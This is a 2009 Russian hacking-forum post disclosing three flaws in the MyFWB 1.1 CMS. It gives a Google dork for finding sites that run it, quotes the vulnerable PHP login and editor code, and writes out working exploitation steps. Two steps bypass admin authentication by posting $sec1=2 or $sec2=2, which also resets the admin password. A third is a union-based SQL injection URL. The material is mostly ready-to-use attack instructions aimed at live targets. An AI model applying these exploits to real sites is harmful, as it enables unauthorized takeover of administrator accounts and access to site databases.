Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   уязвимости MyFWB 1.1 (https://forum.antichat.xyz/showthread.php?t=116187)

Iceangel_ 16.04.2009 12:53

уязвимости MyFWB 1.1
 
Уязвимости MyFWB 1.1

download: http://myfwb.co.cc/downloads/myfwb_1.1_FS_edition.zip

dork: "Powered by MyFWB 1.1"


1) [bypass] (требования: register_globals=on)

/includes/core_admin_login.php
уязвимый код:
PHP код:

elseif($_GET["action"] == log_in_now)
{
$admin_user secure("$_POST[admin_user]");
$admin_pass_1 secure("$_POST[admin_pass]");
$admin_pass_2 md5("$admin_pass_1");
$admin_pass base64_encode("$admin_pass_2");
$query_login mysql_query("select * from user where userid=1");
$data_user_info mysql_fetch_array($query_login);
$data_user $data_user_info['username'];
$data_password $data_user_info['password'];

if(
$data_user == $admin_user)
{
$sec1 1;        
}else
{
echo 
"<b>Sorry,...</b>";
echo 
$data_pass;
}
if(
$admin_pass == $data_password)
{
$sec2 1;
}else
{
echo 
"<br><b>Sorry, ...";
}
$security $sec1 $sec2;
if(
$security == 2)                //забавная проверка, передаем в переменной $sec1 или $sec2 значение 2, и вуаля, проверка пройдена
{
$_SESSION["admin_permission"] = "Yes"

эксплуатирование:
/admincp/?action=log_in_now, ставим заведомо ложные логин и пасс и отправляем в POST-пакете $sec2=2 или $sec1=2, и идем в /admincp/

2) [admin pass update] (требования: register_globals=on)

/includes/core_admin_login.php
уязвимый код:
PHP код:

elseif($_GET["action"] == "forgot_password_now")
{
$admin_user secure("$_POST[admin_user]");
$admin_secret secure("$_POST[admin_secret]");
$query_info mysql_query("select username, secret from user where userid=1");
$query_info_back mysql_fetch_array($query_info);
$user_name $query_info_back['username'];
$user_secret $query_info_back['secret'];
if(
$admin_user == $user_name)
{
$sec1 1;
}else
{
echo 
"<b>Sorry, /--/";
}
if(
$admin_secret == $user_secret)
{
$sec2 1;
}else
{
echo 
"<br><b>Sorry, /--/";
}
$security $sec1 $sec2
if(
$security == 2)
{
$new_pass session_id();

$new_pass1 md5("$new_pass");
$new_pass_final base64_encode("$new_pass1");

$query_new_pass mysql_query("update user set password = '$new_pass_final' where userid=1");

echo 
"/--/ $new_pass /--/";  //новым пассом будет сгенеренный мд5 хеш, но вы не пугайтесь, можно   пройти в админку и поставить более короткий 

эксплуатирование:
ставим заведомо ложные логин и секьюрити кей, и отправляем в POST-пакете $sec2=2 или $sec1=2, и идем в /admincp/ и логинимся с полученным из поля пассом



3) [SQL-injection] (требования: register_globals=on, доступ в админ панель)

\includes\editor_edit.php
уязвимый код:
PHP код:

if($_GET["action"] == "edit" && $_GET["pageid"] && $_GET["securekey"] == $sid)
{
$page_to_edit $_GET["pageid"];

$connect mysql_connect("$db_host","$db_user","$db_pass") or die("can't connect to DB");
mysql_select_db("$db_name") or die("can't select the DB");

$query_getting_page mysql_query("select pageid, pagetitle, page_content from site where pageid=$page_to_edit");
$page_edit mysql_fetch_array($query_getting_page); 

эксплуатирование:
Код:

/admincp/?action=edit&pageid=-3+union+select+1,2,3--&securekey=<значение переменной securekey из урла>


Время: 14:47